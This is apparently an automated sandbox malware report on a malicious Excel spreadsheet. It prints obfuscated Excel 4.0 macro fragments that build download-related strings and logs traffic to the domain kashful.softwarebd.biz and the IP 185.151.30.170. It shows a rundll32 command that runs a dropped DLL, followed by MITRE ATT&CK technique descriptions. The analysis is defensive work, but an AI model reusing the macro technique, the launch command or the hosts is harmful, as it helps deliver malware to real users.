,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,

,"=REPLACE(Doc1!AP35,7,7,""nloadTo"")","=REPLACE(Doc1!AP39,7,7,"""")","=REPLACE(#REF!AB7&#REF!AB8&#REF!AB9&#REF!AB10&#REF!AB11,7,7,""l3"")",=Doc1!AH16(),

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 21, 2021 16:54:59.818917036 CET	49165	443	192.168.2.22	185.151.30.170
Feb 21, 2021 16:55:02.838948011 CET	49165	443	192.168.2.22	185.151.30.170
Feb 21, 2021 16:55:02.889533043 CET	443	49165	185.151.30.170	192.168.2.22
Feb 21, 2021 16:55:02.889731884 CET	49165	443	192.168.2.22	185.151.30.170
Feb 21, 2021 16:55:02.905287981 CET	49165	443	192.168.2.22	185.151.30.170
Feb 21, 2021 16:55:02.968389034 CET	443	49165	185.151.30.170	192.168.2.22
Feb 21, 2021 16:55:02.968441010 CET	443	49165	185.151.30.170	192.168.2.22
Feb 21, 2021 16:55:02.968597889 CET	49165	443	192.168.2.22	185.151.30.170
Feb 21, 2021 16:55:02.968636990 CET	49165	443	192.168.2.22	185.151.30.170
Feb 21, 2021 16:55:03.018063068 CET	49165	443	192.168.2.22	185.151.30.170
Feb 21, 2021 16:55:03.076534986 CET	443	49165	185.151.30.170	192.168.2.22
Feb 21, 2021 16:55:03.076725006 CET	49165	443	192.168.2.22	185.151.30.170
Feb 21, 2021 16:55:05.044658899 CET	49165	443	192.168.2.22	185.151.30.170
Feb 21, 2021 16:55:05.097129107 CET	443	49165	185.151.30.170	192.168.2.22
Feb 21, 2021 16:55:05.097173929 CET	443	49165	185.151.30.170	192.168.2.22
Feb 21, 2021 16:55:05.097201109 CET	443	49165	185.151.30.170	192.168.2.22
Feb 21, 2021 16:55:05.097322941 CET	49165	443	192.168.2.22	185.151.30.170
Feb 21, 2021 16:55:05.097372055 CET	49165	443	192.168.2.22	185.151.30.170
Feb 21, 2021 16:55:05.097379923 CET	49165	443	192.168.2.22	185.151.30.170

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 21, 2021 16:54:59.731312037 CET	52197	53	192.168.2.22	8.8.8.8
Feb 21, 2021 16:54:59.804796934 CET	53	52197	8.8.8.8	192.168.2.22
Feb 21, 2021 16:55:03.419903040 CET	53099	53	192.168.2.22	8.8.8.8
Feb 21, 2021 16:55:03.481419086 CET	53	53099	8.8.8.8	192.168.2.22
Feb 21, 2021 16:55:03.494196892 CET	52838	53	192.168.2.22	8.8.8.8
Feb 21, 2021 16:55:03.552824974 CET	53	52838	8.8.8.8	192.168.2.22
Feb 21, 2021 16:55:03.745484114 CET	61200	53	192.168.2.22	8.8.8.8
Feb 21, 2021 16:55:03.797121048 CET	53	61200	8.8.8.8	192.168.2.22
Feb 21, 2021 16:55:03.808796883 CET	49548	53	192.168.2.22	8.8.8.8
Feb 21, 2021 16:55:03.861757040 CET	53	49548	8.8.8.8	192.168.2.22
Feb 21, 2021 16:55:04.382680893 CET	55627	53	192.168.2.22	8.8.8.8
Feb 21, 2021 16:55:04.431427956 CET	53	55627	8.8.8.8	192.168.2.22
Feb 21, 2021 16:55:04.442981958 CET	56009	53	192.168.2.22	8.8.8.8
Feb 21, 2021 16:55:04.494334936 CET	53	56009	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Feb 21, 2021 16:54:59.731312037 CET	192.168.2.22	8.8.8.8	0x1168	Standard query (0)	kashful.softwarebd.biz	A (IP address)	IN (0x0001)
Feb 21, 2021 16:55:03.419903040 CET	192.168.2.22	8.8.8.8	0x2c09	Standard query (0)	cert.int-x1.letsencrypt.org	A (IP address)	IN (0x0001)
Feb 21, 2021 16:55:03.494196892 CET	192.168.2.22	8.8.8.8	0xd372	Standard query (0)	cert.int-x1.letsencrypt.org	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Feb 21, 2021 16:54:59.804796934 CET	8.8.8.8	192.168.2.22	0x1168	No error (0)	kashful.softwarebd.biz		185.151.30.170	A (IP address)	IN (0x0001)
Feb 21, 2021 16:55:03.481419086 CET	8.8.8.8	192.168.2.22	0x2c09	No error (0)	cert.int-x1.letsencrypt.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Feb 21, 2021 16:55:03.552824974 CET	8.8.8.8	192.168.2.22	0xd372	No error (0)	cert.int-x1.letsencrypt.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Feb 21, 2021 16:55:02.968389034 CET	185.151.30.170	443	192.168.2.22	49165	CN=www.stackssl.com	CN=Let's Encrypt Authority X1, O=Let's Encrypt, C=US	Mon Mar 21 15:13:00 CET 2016	Sun Jun 19 16:13:00 CEST 2016	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,0-10-11-13-23-65281,23-24,0	7dcce5b76c8b17472d024758970a406b

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 1552 Parent PID: 584

General

Start time:	16:54:31
Start date:	21/02/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13fe10000
File size:	27641504 bytes
MD5 hash:	5FB0A0F93382ECD19F5F499A5CAA59F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: rundll32.exe PID: 2844 Parent PID: 1552

General

Start time:	16:54:38
Start date:	21/02/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32 ..\idefje.ekfd,DllRegisterServer
Imagebase:	0xffc30000
File size:	45568 bytes
MD5 hash:	DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Disassembly

Code Analysis

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report document-1900770373.xls

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Initial Sample

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

System Summary:

Hooking and other Techniques for Hiding and Protection:

HIPS / PFW / Operating System Protection Evasion:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "document-1900770373.xls"

Indicators

Summary

Document Summary

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 79968

General

Macro 4.0 Code

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTPS Packets

Code Manipulations

Statistics

Behavior

System Behavior